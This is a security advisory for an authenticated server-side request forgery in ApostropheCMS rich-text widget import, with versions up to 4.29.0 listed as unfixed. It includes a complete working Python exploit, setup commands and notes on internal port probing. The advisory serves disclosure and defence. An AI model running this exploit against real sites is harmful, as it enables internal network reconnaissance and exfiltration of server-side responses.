Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget
Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
Details
The vulnerable flow is in the rich-text widget sanitizer:
packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.jspackages/apostrophe/modules/@apostrophecms/area/index.jspackages/apostrophe/modules/@apostrophecms/widget-type/index.js
Relevant behavior:
- The backend accepts a widget payload containing
import.html. - It parses
<img src=...>values from that HTML. - For each image, it resolves the URL with:
new URL(src, input.import.baseUrl || self.apos.baseUrl)
- It then performs a server-side
fetch(url). - The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.
This is reachable during widget validation through:
POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft
PoC
- Start a local HTTP server with a valid PNG:
mkdir -p /tmp/apos-poc
base64 -d > /tmp/apos-poc/secret.png <<'EOF'
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
EOF
cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
- Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin
import requests
def login(base_url: str, username: str, password: str) -> str:
url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
r = requests.post(
url,
json={
"username": username,
"password": password
},
timeout=20
)
r.raise_for_status()
data = r.json()
token = data.get("token")
if not token:
raise RuntimeError(f"Login succeeded but no token was returned: {data}")
return token
def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
url = urljoin(
base_url,
"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
)
payload = {
"areaFieldId": area_field_id,
"type": "@apostrophecms/rich-text",
"widget": {
"type": "@apostrophecms/rich-text",
"content": "<p>seed</p>",
"import": {
"html": f'<img src="{target_url}">',
"baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
}
}
}
r = requests.post(
url,
headers={
"Authorization": f"Bearer {token}",
"Accept": "application/json"
},
json=payload,
timeout=30
)
r.raise_for_status()
return r.json()
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
parser.add_argument(
"--fetch-image",
action="store_true",
help="Fetch the generated Apostrophe image URL after exploitation."
)
args = parser.parse_args()
try:
token = login(args.base_url, args.username, args.password)
result = trigger(args.base_url, token, args.area_field_id, args.target_url)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1
print("[+] Login OK")
print(f"[+] Bearer token: {token}")
print("[+] Exploit response:")
print(json.dumps(result, indent=2))
widget = result.get("widget") or {}
image_ids = widget.get("imageIds") or []
if not image_ids:
print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
return 0
image_id = image_ids[0]
image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
image_url = urljoin(args.base_url, image_path)
print(f"[+] Generated image id: {image_id}")
print(f"[+] Generated image URL: {image_url}")
if args.fetch_image:
r = requests.get(image_url, allow_redirects=True, timeout=30)
print(f"[+] Final fetch status: {r.status_code}")
print(f"[+] Final URL: {r.url}")
print(f"[+] Retrieved bytes: {len(r.content)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
- Example usage:
python3 poc.py \
--base-url http://127.0.0.1:3000 \
--username admin \
--password admin123 \
--area-field-id cd4f89f5b834d0036f3867f1507a8add \
--target-url http://127.0.0.1:7777/secret.png \
--fetch-image
- Expected result:
- The local listener receives: GET /secret.png HTTP/1.1
- The API response includes a rewritten Apostrophe image URL and imageIds.
- The generated image URL can then be fetched through the application.
Additional note:
- If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.
Impact
An authenticated user with permission to submit or edit rich-text widget content can:
- trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
- perform blind or semi-blind internal port and service discovery
- exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | apostrophe | <= 4.29.0 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L- Weakness (CWE)
CWE-918- Platform
- npm
- Package
apostrophe- Disclosed
- 14.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-pr28-mf3q-qpg6 - CC BY 4.0
Vulnerability history: apostrophe
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 27
- First → latest
- 09.2020 10.2026
- Without a fix
- 4
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 8
- Medium 13
- Low 4
Disclosures per year
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget this entry
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